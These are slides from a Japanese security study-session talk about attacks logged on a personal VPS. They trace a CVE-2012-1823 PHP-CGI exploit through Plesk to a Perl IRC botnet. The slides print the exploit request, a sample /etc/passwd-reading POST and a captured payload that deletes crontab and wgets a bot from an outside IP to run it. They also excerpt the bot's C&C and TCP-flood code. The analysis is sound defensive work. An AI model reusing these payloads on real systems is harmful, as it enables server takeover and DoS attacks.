さくらのVPSに来た攻撃観察記

16,750 views
16,741 views

Published on

個人で借りているさくらのVPSに色々とアタックが来るので、観察してみました。

2013/09/16の、「すみだITセキュリティ勉強会その1」の発表資料。
http://atnd.org/events/42977

Published in: News & Politics
0 Comments
51 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
16,750
On SlideShare
0
From Embeds
0
Number of Embeds
1,750
Actions
Shares
0
Downloads
93
Comments
0
Likes
51
Embeds 0
No embeds

No notes for slide

さくらのVPSに来た攻撃観察記

  1. 1. さくらのVPSに来た、いろ いろアタック観察記 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 1 "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 318 "-" "ZmEu" "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 "-" "ZmEu" "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "-" "ZmEu" "GET /pma/scripts/setup.php HTTP/1.1" 404 298 "-" "ZmEu" 66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7 7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6 4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73 %75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E% 3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63 %74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6 1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F% 5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-" 2013/10/6 すみだITセキュリティ勉強会 @ozuma5119
  2. 2. さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 2 • @ozuma5119 • ネット企業でセキュリティサービスを やっているエンジニア • http://d.hatena.ne.jp/ozuma/ • 科学写真家(と名乗っている) 自己紹介
  3. 3. はじめに • この中で話すこと – OSやミドルウェアの脆弱性とかよくITニュース サイトに載ってるけど、放っておくとどうなる の? • 今日話さないこと – セキュアなサーバ構築の具体的手法、など – それはまぁ、色々と教科書的なものがあるのでこ こでわざわざ話すこと無いかな、と…… – でも普通の教科書にはほとんど載ってない話をす るので楽しんでいただけると。思います。たぶん。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 3 LPIC 「Linuxセキュリティ標準教科書」 http://www.lpi.or.jp/linuxtext/security.shtml
  4. 4. 話すことの概要 • 個人で借りているさくらのVPSにいろいろ 来るので、その攻撃を観察してみた – 悪いことしてる人たちがどうしようとしてい るかが、なんとなくかいま見えた。ので誰か に言いたくなった • ボットネット。 – クラウド流行りで世界中にとてもたくさんの 「野良サーバ」ができたので、悪い人達は、 うひょうひょ言いながら狙ってる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 4
  5. 5. ボットネット? さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 5 「ボットネットからの保護」http://www.microsoft.com/ja-jp/security/pc-security/botnet.aspx より引用
  6. 6. ボットネットのクラウド化 • ボットネット自体は7,8年くらい前から登 場している • 一般ユーザのPCをマルウェア感染させ、 ボットネットに組み込んでいる – ボットネットはIRCを使って、C&C(コマンド& コントロール)サーバから指示を受け取る • ボットネット構成マシンとして、最近は、 一般ユーザのPCより、性能的にもネット ワーク的にも有利なVPSやクラウドサーバ を狙うものが多い さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 6
  7. 7. こんなん見ました・その1 • サーバ管理ソフトPlesk Panelの脆弱性を 放っておくとどうなるか。 – PHPの脆弱性でもあるんだけど – /phppath/php のおはなし さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 7
  8. 8. 最近よく見るhttpdのログ • みなさんも見ましたか。見てませんか。 • あちこちのWebサーバ複数で同じリクエス トが見られたので、相当広範囲にスキャ ンしてたようです さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 8 66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7 7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6 4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73 %75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E% 3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63 %74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6 1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F% 5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"
  9. 9. ちなみにリクエスト元は さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 9 アクセス日時 ソースIP 逆引きしたホスト名 国名 01/Jul/2013:01:30:21 74.208.202.77 u16950462.onlinehome- server.com アメリカ 08/Jul/2013:05:51:32 117.120.2.111 (なし) シンガポール 19/Jul/2013:00:25:47 87.255.55.11 (なし) オランダ 24/Jul/2013:18:06:52 62.148.186.34 62-148-186-34-hosted- by.denit.net オランダ 31/Jul/2013:18:46:17 66.160.128.16 4 (なし) アメリカ 01/Aug/2013:11:01:22 114.141.196.2 8 svr1.gardenexpress.com.au オーストラリ ア 08/Aug/2013:12:17:33 67.205.102.43 bceco.cd カナダ • ざっくり一週間おき? • 中国からは一件も無かった。意外。
  10. 10. まずはリクエストされたパスを 分かりやすくする さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 10 66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7 7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6 4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73 %75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E% 3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63 %74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6 1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F% 5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-" /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n ↓URLデコードします
  11. 11. 見やすくすると さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 11 POST /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n • 見やすくするため改行も入れるとこうな る – Parallels Plesk Panelを狙っている – PHPの脆弱性(CVE-2012-1823)を狙っている
  12. 12. Parallels Plesk Panel 9 • サーバ管理のWebツールとして広く利用さ れており、Apache+PHPが同梱されている • 以下のような設定がhttpd.confに設定され ている豪快なつくり – ScriptAlias /phppath/ /usr/bin/ • 同梱されているPHPは古いCGI版PHP – これが悲劇を招く さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 12
  13. 13. CVE-2012-1823 脆弱性 • CGI版PHPの脆弱性 • PHPのオプションとしてGETパラメタがそ のまま渡ってしまう • Plesk Panel 9のPHPにもこの脆弱性アリ さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 13 例)ソースコードがそのまま表示されてしまう http://192.168.1.1/important/apl.php?-s $ man php --syntax-highlight -s Output HTML syntax highlighted source
  14. 14. CVE-2012-1823 脆弱性その2 • オプションを組み合わせると、POSTリク エストのbody部をそのままサーバ上でPHP スクリプトとして実行できてしまう さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 14 /phppath/php?-d allow_url_include=on -d auto_prepend_file=php://input • allow_url_include : 外部からのinclude許可 • auto_prepend_file : 開発時などに用いるパラ メタで、スクリプト実行前に、指定したファ イルをrequireして実行する
  15. 15. CVE-2012-1823 脆弱性その3 • つまり以下のような感じのPOSTを投げつ けるだけで、お好きなPHPスクリプトを サーバ上で実行させることができる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 15 POST /phppath/php?-d allow_url_include=on -d auto_prepend_file=php://input HTTP/1.1 Host: www.example.org Content-Length: xxxx <?php readfile('/etc/passwd'); ?> 参考URL http://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
  16. 16. 何を実行しようとしている? • ということは、このアクセスも、悪い人 がサーバで実行しようとしているPHPスク リプト本体がPOSTされてきているのだろ う – それは見てみたい! • アクセスログだけ見ていてもつまらない ので、tcpdumpしてPOSTリクエストのボ ディ部(= 実行しようとしているPHPスクリ プト)を見てみる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 16
  17. 17. 待つこと数日、ktkr さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 17
  18. 18. 脆弱性スキャンされている • "___2pac" という文字列をechoしているだけ • おそらくレスポンスボディにこの文字列があ るサーバをスキャンして探しているのだろう さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 18 POST /%70%68%70%70%6(省略) HTTP/1.1 Host: 49.212.197.88 Content-Type: application/x-www-form-urlencoded Content-Length: 64 <?php echo "Content-Type:text/htmlrnrn";echo "___2pacn"; ?>
  19. 19. 脆弱性があるフリをしてみる • POSTされたら上記CGIにRewriteする。(ち なみにサーバにPHPはインストールすらし てない) • これで悪い人は「脆弱性あり」と判断し て、続けて本番の攻撃スクリプトを送り 込んでくるはず →→ 来た。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 19 #!/usr/bin/perl print "Content-Type:text/htmlrnrn"; print "___2pacn";
  20. 20. 攻撃は0.5秒後 • 1行目が"___2pac"をechoさせるPHPをPOST • 2行目が本番の攻撃スクリプト • 脆弱性アリと判断後、1秒も経たずに攻撃 – しかも攻撃元の 210.188.206.176はSAKURA Internet – 偶然? 地理的に近いサーバを自動選択? さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 20 67.205.102.43 - - [08/Aug/2013:12:17:33 +0900] "POST /%70%68(省略) HTTP/1.1" 200 8 "-" "-" 210.188.206.176 - - [08/Aug/2013:12:17:33 +0900] "POST /%70%68(省略) HTTP/1.1" 200 8 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  21. 21. POSTされた攻撃スクリプト さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 21 <?php echo "Content-Type:text/htmlrnrn"; echo "OKn"; system("crontab -r; cd /tmp; rm -fr bpn*; wget http://188.165.242.15/bpn -q; perl bpn >/dev/null 1>/dev/null 2>/dev/null; rm -fr bpn*"); ?> • system関数内でUNIXコマンドを実行した いようです
  22. 22. 脱線:crontab –r の恐怖 • crontab –e と間違えて crontab –r すると、何 の警告もなく全てが消え失せる – crontab –e 禁止令を出す人もいる (/etc/crontabだ け使う) さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 22 macbook:~ ozuma$ crontab -l 15 * * * * /home/ozuma/bin/hoge.sh 0 9 1 * * /home/ozuma/bin/piyo.sh > /dev/null 2>&1 */5 * * * * /home/ozuma/bin/fuga.sh > /dev/null 2>&1 macbook:~ ozuma$ crontab -r macbook:~ ozuma$ crontab -l crontab: no crontab for ozuma macbook:~ ozuma$
  23. 23. さらに攻撃スクリプトをダウン ロードしている さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 23 <?php echo "Content-Type:text/htmlrnrn"; echo "OKn"; system("crontab -r; cd /tmp; rm -fr bpn*; wget http://188.165.242.15/bpn -q; perl bpn >/dev/null 1>/dev/null 2>/dev/null; rm -fr bpn*"); ?> • そこでこのbpnを手でwgetしてみた 188.165.242.15はOVH SAS(フラ ンスのホスティング業者)
  24. 24. bpn - Perlbot抜粋 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 24 #!/usr/bin/perl my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x"); my @titi = ("index.php?page=","main.php?page="); my $goni = $titi[rand scalar @titi]; my $linas_max='3'; my $sleep='7'; my @adms=("LaCannA","amd-64bit" ); my @hostauth=("lacannabiscaffe.smok","amd.de.lacannabiscaffe.smok"); my @canais=("#coffeeshop"); chop (my $nick = `uname`); my $ircname =("weed"); my $realname = ("mary"); $servidor="209.20.83.28" unless $servidor; my $porta='53'; 209.20.83.28 : Rackspace Hosting (アメリカのホスティング会社) ポート53
  25. 25. ダウンロードしたbpn • これはPerlBotとか言われてる有名なもの – しかしソースコードは稚拙な部分も多い • ボットネットのC&C(コマンド&コントロー ル)サーバにIRC接続し、指示を待つ • 興味ある方は以下へ置いてあります – http://txt2url.com/d532f7a995b287eca6f7f2c527ba0bd5 • SANSの解説記事が参考になります – http://handlers.sans.org/jullrich/perlbot.html さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 25
  26. 26. Perlbot抜粋 その2 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 26 sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; C&Cサーバ接続機能(IRC)
  27. 27. Perlbot抜粋 その3 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 27 sub tcpflooder { my $itime = time; my ($cur_time); my ($ia,$pa,$proto,$j,$l,$t); $ia=inet_aton($_[0]); $pa=sockaddr_in($_[1],$ia); $ftime=$_[2]; $proto=getprotobyname('tcp'); $j=0;$l=0; $cur_time = time - $itime; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; socket($t,PF_INET,SOCK_STREAM,$proto); connect($t,$pa)||$j--; $j++;$l++; } DoS攻撃機能
  28. 28. Perlbot概要 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 28 • C&Cサーバから以下のような感じで指令を 受けてDoS攻撃をする – IRCの指定されたチャンネルに接続する – 指令者のnickから攻撃先の指示がIRCのチャッ トで送信されるため、それを元にDoS攻撃を おこなう • なぜIRCなのか? – 多数のクライアントに伝達しやすい – あとはまぁ、「ボットネットの伝統」
  29. 29. C&Cサーバを覗いてみると • Perlbotスクリプトで指定されていたC&C サーバを覗いてみる(危険) さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 29 $ telnet 209.20.83.28 53 Trying 209.20.83.28... Connected to 209-20-83-28.static.cloud-ips.com. Escape character is '^]'. :irc.sudominio.org NOTICE AUTH :*** Looking up your hostname... :irc.sudominio.org NOTICE AUTH :*** Found your hostname
  30. 30. 今回の攻撃のまとめ さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 30
  31. 31. 攻撃を追ってみて分かったこと • 最終目的はサーバを乗っ取ってボット ネットに組み込むこと(そしてよそを攻 撃すること) • 脆弱性スキャン役、攻撃役、スクリプト 配布役、制御役(C&Cサーバ)、全てが別 サーバで[分業]されている • それぞれのサーバはクラウドやVPSなどの 「野良サーバ」が有効活用されている – 昔は一般ユーザのPCが多かったが…… さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 31
  32. 32. Perlbot (bpn)に見る小ネタ • せっかくなので、さっき仕込まれそうに なったbpnスクリプト(Perlbot)のソース コードを読んでみて、そこから学ぶこと はないか – ポジティブシンキングしよう。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 32
  33. 33. Perlbotに見る小ネタ1 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 33 #!/usr/bin/perl my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x"); ... (省略) ... $0="$processo"."¥0"x16;; • C&Cに接続して常駐するプロセスなので、発 見されにくくするための工夫がある。 • それがPerlの特殊変数 $0 への代入 – なぜセミコロンが2つあるかは謎だ。気にするな
  34. 34. $0 に値を入れないと さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 34 Perlスクリプト実行中なことがバレバレ
  35. 35. $0 に値を入れると さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 35 psコマンドの出力が$0の値に化けて見つか りにくい
  36. 36. $0 に値を入れる(FreeBSD) さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 36 ちなみにFreeBSDだと後ろに (perl5.x.x) が 付くのでバレバレです
  37. 37. Perlbotに見る小ネタ2 • シグナルをトラップしている – 簡単にkillできないようになっている • Perlでは%SIGに'IGNORE'とすると、該当シ グナルを無視することができる – すなわちkill –KILLでしか終了できなくなる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 37 $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE';
  38. 38. Perlでのシグナル操作 • ちなみにこんな感じでkillを受け取ったら 実行されるサブルーチンも設定できる – 作業ファイルを操作するとか。 – これがまっとうな使い方 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 38 #!/usr/bin/perl ... ... $SIG{'TERM'} = sub { die("Killed by SIGTERM.¥n"); };
  39. 39. Perlでのシグナル操作 • ちなみにこういうのを調べるときはうま くmanとperldocを使いましょう – すぐにググらずまずは公式ドキュメントを。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 39 $ perldoc –q signal $ perldoc perlfaq8 $ perldoc perlipc $ man –aw signal $ man 7 signal
  40. 40. Perlbotに見る小ネタ3 • サーバを$serverじゃなくて$servidorと書い ている • 他にも $porta, $versao, $processo など • スペイン語かポルトガル語っぽいけど どっち? – これどっちも似ているのでむつかしい – どちらの言語でもサーバはservidorなので区別 できない さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 40 $servidor="209.20.83.28" unless $servidor;
  41. 41. 攻撃スクリプトに透けてみえる 「中の人」 • スペイン語かポルトガル語かは、Version, port, あたりを見ると分かりやすい – Perlbotはポルトガル語のようです • 元のソースを書いた「中の人」を想像す ることで、悪い人の姿がちょっぴり透け て見える気がしませんか。私はします。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 41 スペイン語 ポルトガル語 バージョン Versión Versão ポート Puerto Porta

×